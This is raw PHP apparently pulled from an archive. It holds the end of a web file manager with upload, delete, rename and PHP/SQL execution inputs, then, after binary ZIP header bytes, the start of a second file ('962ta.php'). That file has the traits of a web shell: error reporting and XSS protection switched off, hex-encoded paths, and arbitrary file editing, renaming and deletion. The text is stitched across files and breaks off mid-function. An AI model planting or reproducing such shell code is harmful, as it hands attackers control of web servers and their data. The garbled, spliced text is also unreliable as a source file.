if(!empty($_REQUEST['save'])) {
rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
$msg .= (__('File updated'));
$_REQUEST['rename'] = $_REQUEST['newname'];
}
clearstatcache();
$link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
$backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
<th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
<td class="row1">
<?=$msg?>
</td>
</tr>
<tr>
<td class="row1">
<a href="<?=$backlink?>"><?=__('Back')?></a>
</td>
</tr>
<tr>
<td class="row1" align="center">
<form name="form1" method="post" action="<?=$link?>">
<?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
<input type="submit" name="save" value="<?=__('Submit')?>">
</form>
</td>
</tr>
</table>
<?php
} else {
//Let's rock!
$msg = '';
if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {
if(!empty($_FILES['upload']['name'])){
$_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);
if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
$msg .= __('Error occurred');
} else {
$msg .= __('Files uploaded').': '.$_FILES['upload']['name'];
}
}
} elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
if(!fm_del_files(($path . $_REQUEST['delete']), true)) {
$msg .= __('Error occurred');
} else {
$msg .= __('Deleted').' '.$_REQUEST['delete'];
}
} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
$msg .= __('Error occurred');
} else {
$msg .= __('Created').' '.$_REQUEST['dirname'];
}
} elseif(!empty($_POST['search_recursive'])) {
ini_set('max_execution_time', '0');
$search_data = find_text_in_files($_POST['path'], $_POST['mask'], $_POST['search_recursive']);
if(!empty($search_data)) {
$msg .= __('Found in files').' ('.count($search_data).'):<br>';
foreach ($search_data as $filename) {
$msg .= '<a href="'.fm_url(true).'?fm=true&edit='.basename($filename).'&path='.str_replace('/'.basename($filename),'/',$filename).'" title="' . __('Edit') . '">'.basename($filename).'</a> ';
}
} else {
$msg .= __('Nothing founded');
}
} elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {
if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {
$msg .= __('Error occurred');
} else {
fclose($fp);
$msg .= __('Created').' '.$_REQUEST['filename'];
}
} elseif (isset($_GET['zip'])) {
$source = base64_decode($_GET['zip']);
$destination = basename($source).'.zip';
set_time_limit(0);
$phar = new PharData($destination);
$phar->buildFromDirectory($source);
if (is_file($destination))
$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
'. '.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
.' <a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';
else $msg .= __('Error occurred').': '.__('no files');
} elseif (isset($_GET['gz'])) {
$source = base64_decode($_GET['gz']);
$archive = $source.'.tar';
$destination = basename($source).'.tar';
if (is_file($archive)) unlink($archive);
if (is_file($archive.'.gz')) unlink($archive.'.gz');
clearstatcache();
set_time_limit(0);
//die();
$phar = new PharData($destination);
$phar->buildFromDirectory($source);
$phar->compress(Phar::GZ,'.tar.gz');
unset($phar);
if (is_file($archive)) {
if (is_file($archive.'.gz')) {
unlink($archive);
$destination .= '.gz';
}
$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
'. '.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
.' <a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
} else $msg .= __('Error occurred').': '.__('no files');
} elseif (isset($_GET['decompress'])) {
// $source = base64_decode($_GET['decompress']);
// $destination = basename($source);
// $ext = end(explode(".", $destination));
// if ($ext=='zip' OR $ext=='gz') {
// $phar = new PharData($source);
// $phar->decompress();
// $base_file = str_replace('.'.$ext,'',$destination);
// $ext = end(explode(".", $base_file));
// if ($ext=='tar'){
// $phar = new PharData($base_file);
// $phar->extractTo(dir($source));
// }
// }
// $msg .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');
} elseif (isset($_GET['gzfile'])) {
$source = base64_decode($_GET['gzfile']);
$archive = $source.'.tar';
$destination = basename($source).'.tar';
if (is_file($archive)) unlink($archive);
if (is_file($archive.'.gz')) unlink($archive.'.gz');
set_time_limit(0);
//echo $destination;
$ext_arr = explode('.',basename($source));
if (isset($ext_arr[1])) {
unset($ext_arr[0]);
$ext=implode('.',$ext_arr);
}
$phar = new PharData($destination);
$phar->addFile($source);
$phar->compress(Phar::GZ,$ext.'.tar.gz');
unset($phar);
if (is_file($archive)) {
if (is_file($archive.'.gz')) {
unlink($archive);
$destination .= '.gz';
}
$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
'. '.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
.' <a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
} else $msg .= __('Error occurred').': '.__('no files');
}
?>
<table class="whole" id="header_table" >
<tr>
<th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
<?php if(!empty($msg)){ ?>
<tr>
<td colspan="2" class="row2"><?=$msg?></td>
</tr>
<?php } ?>
<tr>
<td class="row2">
<table>
<tr>
<td>
<?=fm_home()?>
</td>
<td>
<td>
<?php if(!empty($fm_config['make_directory'])) { ?>
<form method="post" action="<?=$url_inc?>">
<input type="hidden" name="path" value="<?=$path?>" />
<input type="text" name="dirname" size="15">
<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
</form>
<?php } ?>
</td>
<td>
<?php if(!empty($fm_config['new_file'])) { ?>
<form method="post" action="<?=$url_inc?>">
<input type="hidden" name="path" value="<?=$path?>" />
<input type="text" name="filename" size="15">
<input type="submit" name="mkfile" value="<?=__('New file')?>">
</form>
<?php } ?>
</td>
<td>
<form method="post" action="<?=$url_inc?>" style="display:inline">
<input type="hidden" name="path" value="<?=$path?>" />
<input type="text" placeholder="<?=__('Recursive search')?>" name="search_recursive" value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>" size="15">
<input type="text" name="mask" placeholder="<?=__('Mask')?>" value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>" size="5">
<input type="submit" name="search" value="<?=__('Search')?>">
</form>
</td>
<td>
<?=fm_run_input('php')?>
</td>
<td>
<?=fm_run_input('sql')?>
</td>
</tr>
</table>
</td>
<td class="row3">
<table>
<tr>
<td>
<?php if (!empty($fm_config['upload_file'])) { ?>
<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
<input type="hidden" name="path" value="<?=$path?>" />
<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />
<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
<input type="submit" name="test" value="<?=__('Upload')?>" />
</form>
<?php } ?>
</td>
<td>
<?php if ($auth['authorize']) { ?>
<form action="" method="post">
<input name="quit" type="hidden" value="1">
<?=__('Hello')?>, <?=$auth['login']?>
<input type="submit" value="<?=__('Quit')?>">
</form>
<?php } ?>
</td>
<td>
<?=fm_lang_form($language)?>
</td>
<tr>
</table>
</td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr>
<th style="white-space:nowrap"> <?=__('Filename')?> </th>
<th style="white-space:nowrap"> <?=__('Size')?> </th>
<th style="white-space:nowrap"> <?=__('Date')?> </th>
<th style="white-space:nowrap"> <?=__('Rights')?> </th>
<th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
if(@is_dir($path . $file)){
$dirs[] = $file;
} else {
$files[] = $file;
}
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);
foreach ($elements as $file){
$filename = $path . $file;
$filedata = @stat($filename);
if(@is_dir($filename)){
$filedata[7] = '';
if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
$link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder"> </span> '.$file.'</a>';
$loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').' zip',__('Archiving').' '. $file);
$arlink = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').' .tar.gz',__('Archiving').' '.$file);
$style = 'row2';
if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path . '\'"'; else $alert = '';
} else {
$link =
$fm_config['show_img']&&@getimagesize($filename)
? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
. fm_img_link($filename)
.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img"> </span> '.$file.'</a>'
: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file"> </span> '.$file.'</a>';
$e_arr = explode(".", $file);
$ext = end($e_arr);
$loadlink = fm_link('download',$filename,__('Download'),__('Download').' '. $file);
$arlink = in_array($ext,array('zip','gz','tar'))
? ''
: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').' .tar.gz',__('Archiving').' '. $file));
$style = 'row1';
$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path . '\'"';
}
$deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
$renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
$rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>">
<td><?=$link?></td>
<td><?=$filedata[7]?></td>
<td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
<td><?=$rightstext?></td>
<td><?=$deletelink?></td>
<td><?=$renamelink?></td>
<td><?=$loadlink?></td>
<td><?=$arlink?></td>
</tr>
<?php
}
}
?>
</tbody>
</table>
<div class="row3"><?php
$mtime = explode(' ', microtime());
$totaltime = $mtime[0] + $mtime[1] - $starttime;
echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/Den1xxx/Filemanager">Github</a> | <a href="'.fm_site_url().'">.</a>';
if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
?>
</div>
<script type="text/javascript">
function download_xls(filename, text) {
var element = document.createElement('a');
element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text);
element.setAttribute('download', filename);
element.style.display = 'none';
document.body.appendChild(element);
element.click();
document.body.removeChild(element);
}
function base64_encode(m) {
for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) {
c = m.charCodeAt(l);
if (128 > c) d = 1;
else
for (d = 2; c >= 2 << 5 * d;) ++d;
for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f])
}
b && (g += k[f << 6 - b]);
return g
}
var tableToExcelData = (function() {
var uri = 'data:application/vnd.ms-excel;base64,',
template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>',
format = function(s, c) {
return s.replace(/{(\w+)}/g, function(m, p) {
return c[p];
})
}
return function(table, name) {
if (!table.nodeType) table = document.getElementById(table)
var ctx = {
worksheet: name || 'Worksheet',
table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1")
}
t = new Date();
filename = 'fm_' + t.toISOString() + '.xls'
download_xls(filename, base64_encode(format(template, ctx)))
}
})();
var table2Excel = function () {
var ua = window.navigator.userAgent;
var msie = ua.indexOf("MSIE ");
this.CreateExcelSheet =
function(el, name){
if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer
var x = document.getElementById(el).rows;
var xls = new ActiveXObject("Excel.Application");
xls.visible = true;
xls.Workbooks.Add
for (i = 0; i < x.length; i++) {
var y = x[i].cells;
for (j = 0; j < y.length; j++) {
xls.Cells(i + 1, j + 1).Value = y[j].innerText;
}
}
xls.Visible = true;
xls.UserControl = true;
return xls;
} else {
tableToExcelData(el, name);
}
}
}
</script>
</body>
</html>
<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
var $archive_name = '';
var $tmp_file = 0;
var $file_pos = 0;
var $isGzipped = true;
var $errors = array();
var $files = array();
function __construct(){
if (!isset($this->errors)) $this->errors = array();
}
function createArchive($file_list){
$result = false;
if (file_exists($this->archive_name) && is_file($this->archive_name)) $newArchive = false;
else $newArchive = true;
if ($newArchive){
if (!$this->openWrite()) return false;
} else {
if (filesize($this->archive_name) == 0) return $this->openWrite();
if ($this->isGzipped) {
$this->closeTmpFile();
if (!rename($this->archive_name, $this->archive_name.'.tmp')){
$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
return false;
}
$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
if (!$tmpArchive){
$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
rename($this->archive_name.'.tmp', $this->archive_name);
return false;
}
if (!$this->openWrite()){
rename($this->archive_name.'.tmp', $this->archive_name);
return false;
}
$buffer = gzread($tmpArchive, 512);
if (!gzeof($tmpArchive)){
do {
$binaryData = pack('a512', $buffer);
$this->writeBlock($binaryData);
$buffer = gzread($tmpArchive, 512);
}
while (!gzeof($tmpArchive));
}
gzclose($tmpArchive);
unlink($this->archive_name.'.tmp');
} else {
$this->tmp_file = fopen($this->archive_name, 'r+b');
if (!$this->tmp_file) return false;
}
}
if (isset($file_list) && is_array($file_list)) {
if (count($file_list)>0)
$result = $this->packFileArray($file_list);
} else $this->errors[] = __('No file').__(' to ').__('Archive');
if (($result)&&(is_resource($this->tmp_file))){
$binaryData = pack('a512', '');
$this->writeBlock($binaryData);
}
$this->closeTmpFile();
if ($newArchive && !$result){
$this->closeTmpFile();
unlink($this->archive_name);
}
return $result;
}
function restoreArchive($path){
$fileName = $this->archive_name;
if (!$this->isGzipped){
if (file_exists($fileName)){
if ($fp = fopen($fileName, 'rb')){
$data = fread($fp, 2);
fclose($fp);
if ($data == '\37\213'){
$this->isGzipped = true;
}
}
}
elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
}
$result = true;
if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
else $this->tmp_file = fopen($fileName, 'rb');
if (!$this->tmp_file){
$this->errors[] = $fileName.' '.__('is not readable');
return false;
}
$result = $this->unpackFileArray($path);
$this->closeTmpFile();
return $result;
}
function showErrors ($message = '') {
$Errors = $this->errors;
if(count($Errors)>0) {
if (!empty($message)) $message = ' ('.$message.')';
$message = __('Error occurred').$message.': <br/>';
foreach ($Errors as $value)
$message .= $value.'<br/>';
return $message;
} else return '';
}
function packFileArray($file_array){
$result = true;
if (!$this->tmp_file){
$this->errors[] = __('Invalid file descriptor');
return false;
}
if (!is_array($file_array) || count($file_array)<=0)
return true;
for ($i = 0; $i<count($file_array); $i++){
$filename = $file_array[$i];
if ($filename == $this->archive_name)
continue;
if (strlen($filename)<=0)
continue;
if (!file_exists($filename)){
$this->errors[] = __('No file').' '.$filename;
continue;
}
if (!$this->tmp_file){
$this->errors[] = __('Invalid file descriptor');
return false;
}
if (strlen($filename)<=0){
$this->errors[] = __('Filename').' '.__('is incorrect');;
return false;
}
$filename = str_replace('\\', '/', $filename);
$keep_filename = $this->makeGoodPath($filename);
if (is_file($filename)){
if (($file = fopen($filename, 'rb')) == 0){
$this->errors[] = __('Mode ').__('is incorrect');
}
if(($this->file_pos == 0)){
if(!$this->writeHeader($filename, $keep_filename))
return false;
}
while (($buffer = fread($file, 512)) != ''){
$binaryData = pack('a512', $buffer);
$this->writeBlock($binaryData);
}
fclose($file);
} else $this->writeHeader($filename, $keep_filename);
if (@is_dir($filename)){
if (!($handle = opendir($filename))){
$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
continue;
}
while (false !== ($dir = readdir($handle))){
if ($dir!='.' && $dir!='..'){
$file_array_tmp = array();
if ($filename != '.')
$file_array_tmp[] = $filename.'/'.$dir;
else
$file_array_tmp[] = $dir;
$result = $this->packFileArray($file_array_tmp);
}
}
unset($file_array_tmp);
unset($dir);
unset($handle);
}
}
return $result;
}
function unpackFileArray($path){
$path = str_replace('\\', '/', $path);
if ($path == '' || (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':'))) $path = './'.$path;
clearstatcache();
while (strlen($binaryData = $this->readBlock()) != 0){
if (!$this->readHeader($binaryData, $header)) return false;
if ($header['filename'] == '') continue;
if ($header['typeflag'] == 'L'){ //reading long header
$filename = '';
$decr = floor($header['size']/512);
for ($i = 0; $i < $decr; $i++){
$content = $this->readBlock();
$filename .= $content;
}
if (($laspiece = $header['size'] % 512) != 0){
$content = $this->readBlock();
$filename .= substr($content, 0, $laspiece);
}
$binaryData = $this->readBlock();
if (!$this->readHeader($binaryData, $header)) return false;
else $header['filename'] = $filename;
return true;
}
if (($path != './') && ($path != '/')){
while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
else $header['filename'] = $path.'/'.$header['filename'];
}
if (file_exists($header['filename'])){
if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
return false;
}
if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
return false;
}
if (!is_writeable($header['filename'])){
$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
return false;
}
} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
return false;
}
if ($header['typeflag'] == '5'){
if (!file_exists($header['filename'])) {
if (!mkdir($header['filename'], 0777)) {
$this->errors[] = __('Cannot create directory').' '.$header['filename'];
return false;
}
}
} else {
if (($destination = fopen($header['filename'], 'wb')) == 0) {
$this->errors[] = __('Cannot write to file').' '.$header['filename'];
return false;
} else {
$decr = floor($header['size']/512);
for ($i = 0; $i < $decr; $i++) {
$content = $this->readBlock();
fwrite($destination, $content, 512);
}
if (($header['size'] % 512) != 0) {
$content = $this->readBlock();
fwrite($destination, $content, ($header['size'] % 512));
}
fclose($destination);
touch($header['filename'], $header['time']);
}
clearstatcache();
if (filesize($header['filename']) != $header['size']) {
$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
return false;
}
}
if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
$this->dirs[] = $file_dir;
$this->files[] = $header['filename'];
}
return true;
}
function dirCheck($dir){
$parent_dir = dirname($dir);
if ((@is_dir($dir)) or ($dir == ''))
return true;
if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
return false;
if (!mkdir($dir, 0777)){
$this->errors[] = __('Cannot create directory').' '.$dir;
return false;
}
return true;
}
function readHeader($binaryData, &$header){
if (strlen($binaryData)==0){
$header['filename'] = '';
return true;
}
if (strlen($binaryData) != 512){
$header['filename'] = '';
$this->__('Invalid block size').': '.strlen($binaryData);
return false;
}
$checksum = 0;
for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));
$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);
$header['checksum'] = OctDec(trim($unpack_data['checksum']));
if ($header['checksum'] != $checksum){
$header['filename'] = '';
if (($checksum == 256) && ($header['checksum'] == 0)) return true;
$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
return false;
}
if (($header['typeflag'] = $unpack_data['typeflag']) == '5') $header['size'] = 0;
$header['filename'] = trim($unpack_data['filename']);
$header['mode'] = OctDec(trim($unpack_data['mode']));
$header['user_id'] = OctDec(trim($unpack_data['user_id']));
$header['group_id'] = OctDec(trim($unpack_data['group_id']));
$header['size'] = OctDec(trim($unpack_data['size']));
$header['time'] = OctDec(trim($unpack_data['time']));
return true;
}
function writeHeader($filename, $keep_filename){
$packF = 'a100a8a8a8a12A12';
$packL = 'a1a100a6a2a32a32a8a8a155a12';
if (strlen($keep_filename)<=0) $keep_filename = $filename;
$filename_ready = $this->makeGoodPath($keep_filename);
if (strlen($filename_ready) > 99){ //write long header
$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');
// Calculate the checksum
$checksum = 0;
// First part of the header
for ($i = 0; $i < 148; $i++)
$checksum += ord(substr($dataFirst, $i, 1));
// Ignore the checksum value and replace it by ' ' (space)
for ($i = 148; $i < 156; $i++)
$checksum += ord(' ');
// Last part of the header
for ($i = 156, $j=0; $i < 512; $i++, $j++)
$checksum += ord(substr($dataLast, $j, 1));
// Write the first 148 bytes of the header in the archive
$this->writeBlock($dataFirst, 148);
// Write the calculated checksum
$checksum = sprintf('%6s ', DecOct($checksum));
$binaryData = pack('a8', $checksum);
$this->writeBlock($binaryData, 8);
// Write the last 356 bytes of the header in the archive
$this->writeBlock($dataLast, 356);
$tmp_filename = $this->makeGoodPath($filename_ready);
$i = 0;
while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
$binaryData = pack('a512', $buffer);
$this->writeBlock($binaryData);
}
return true;
}
$file_info = stat($filename);
if (@is_dir($filename)){
$typeflag = '5';
$size = sprintf('%11s ', DecOct(0));
} else {
$typeflag = '';
clearstatcache();
$size = sprintf('%11s ', DecOct(filesize($filename)));
}
$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
$checksum = 0;
for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
$this->writeBlock($dataFirst, 148);
$checksum = sprintf('%6s ', DecOct($checksum));
$binaryData = pack('a8', $checksum);
$this->writeBlock($binaryData, 8);
$this->writeBlock($dataLast, 356);
return true;
}
function openWrite(){
if ($this->isGzipped)
$this->tmp_file = gzopen($this->archive_name, 'wb9f');
else
$this->tmp_file = fopen($this->archive_name, 'wb');
if (!($this->tmp_file)){
$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
return false;
}
return true;
}
function readBlock(){
if (is_resource($this->tmp_file)){
if ($this->isGzipped)
$block = gzread($this->tmp_file, 512);
else
$block = fread($this->tmp_file, 512);
} else $block = '';
return $block;
}
function writeBlock($data, $length = 0){
if (is_resource($this->tmp_file)){
if ($length === 0){
if ($this->isGzipped)
gzputs($this->tmp_file, $data);
else
fputs($this->tmp_file, $data);
} else {
if ($this->isGzipped)
gzputs($this->tmp_file, $data, $length);
else
fputs($this->tmp_file, $data, $length);
}
}
}
function closeTmpFile(){
if (is_resource($this->tmp_file)){
if ($this->isGzipped)
gzclose($this->tmp_file);
else
fclose($this->tmp_file);
$this->tmp_file = 0;
}
}
function makeGoodPath($path){
if (strlen($path)>0){
$path = str_replace('\\', '/', $path);
$partPath = explode('/', $path);
$els = count($partPath)-1;
for ($i = $els; $i>=0; $i--){
if ($partPath[$i] == '.'){
// Ignore this directory
} elseif ($partPath[$i] == '..'){
$i--;
}
elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
} else
$result = $partPath[$i].($i!=$els ? '/'.$result : '');
}
} else $result = '';
return $result;
}
}
?>PK 9Jm\Aj�%\ %\ 962ta.phpnu �[��� <?php
session_start();header("X-XSS-Protection: 0");ob_start();set_time_limit(0);error_reporting(0);ini_set('display_errors', FALSE);
$isAjax = isset($_SERVER['HTTP_X_REQUESTED_WITH'])
&& strtolower($_SERVER['HTTP_X_REQUESTED_WITH']) === 'xmlhttprequest';
function hex($n) {
$y='';
for ($i=0; $i < strlen($n); $i++){
$y .= dechex(ord($n[$i]));
}
return $y;
}
function uhex($y) {
$n='';
for ($i=0; $i < strlen($y)-1; $i+=2){
$n .= chr(hexdec($y[$i].$y[$i+1]));
}
return $n;
}
if (isset($_GET["d"])) {
$d = uhex($_GET["d"]);
if (is_dir($d)) {
chdir($d);
} else {
$d = getcwd();
}
} else {
$d = getcwd();
}
function setFlash($status, $msg) {
$_SESSION['status'] = $status;
$_SESSION['msg'] = $msg;
}
if (isset($_GET['ajax']) && $_GET['ajax'] == 1) {
?>
<table>
<thead>
<tr>
<th>Name</th>
<th>Size</th>
<th>Actions</th>
</tr>
</thead>
<tbody>
<?php
$entries = scandir($d);
$dirList = [];
$fileList = [];
foreach ($entries as $entry) {
if ($entry == '.' || $entry == '..') continue;
$path = $d . DIRECTORY_SEPARATOR . $entry;
if (is_dir($path)) {
$dirList[] = $entry;
} else {
$fileList[] = $entry;
}
}
foreach ($dirList as $entry) {
$path = $d . DIRECTORY_SEPARATOR . $entry;
echo '<tr>';
echo '<td><a class="ajaxDir" href="?d=' . hex($path) . '">' . htmlspecialchars($entry) . '</a></td>';
echo '<td>-</td>';
echo '<td></td>';
echo '</tr>';
}
foreach ($fileList as $entry) {
$path = $d . DIRECTORY_SEPARATOR . $entry;
echo '<tr>';
echo '<td>' . htmlspecialchars($entry) . '</td>';
echo '<td>' . (is_file($path) ? filesize($path) . ' bytes' : '-') . '</td>';
echo '<td>';
echo '<a class="ajaxEdit" href="?action=edit&d=' . hex($d) . '&file=' . urlencode($entry) . '">Edit</a> | ';
echo '<a class="ajaxRename" href="?action=rename&d=' . hex($d) . '&file=' . urlencode($entry) . '">Rename</a> | ';
echo '<a class="ajaxDelete" href="?action=delete&d=' . hex($d) . '&file=' . urlencode($entry) . '">Delete</a>';
echo '</td>';
echo '</tr>';
}
?>
</tbody>
</table>
<?php
exit;
}
if (isset($_GET['ajax']) && $_GET['ajax'] === 'breadcrumb') {
$k = preg_split("/(\\\\|\/)/", $d);
$breadcrumbHtml = '';
foreach ($k as $m => $l) {
if ($l == '' && $m == 0) {
$breadcrumbHtml .= '<a class="ajx" href="?d=2f">/</a>';
}
if ($l == '') continue;
$breadcrumbHtml .= '<a class="ajx" href="?d=';
for ($i = 0; $i <= $m; $i++) {
$breadcrumbHtml .= hex($k[$i]);
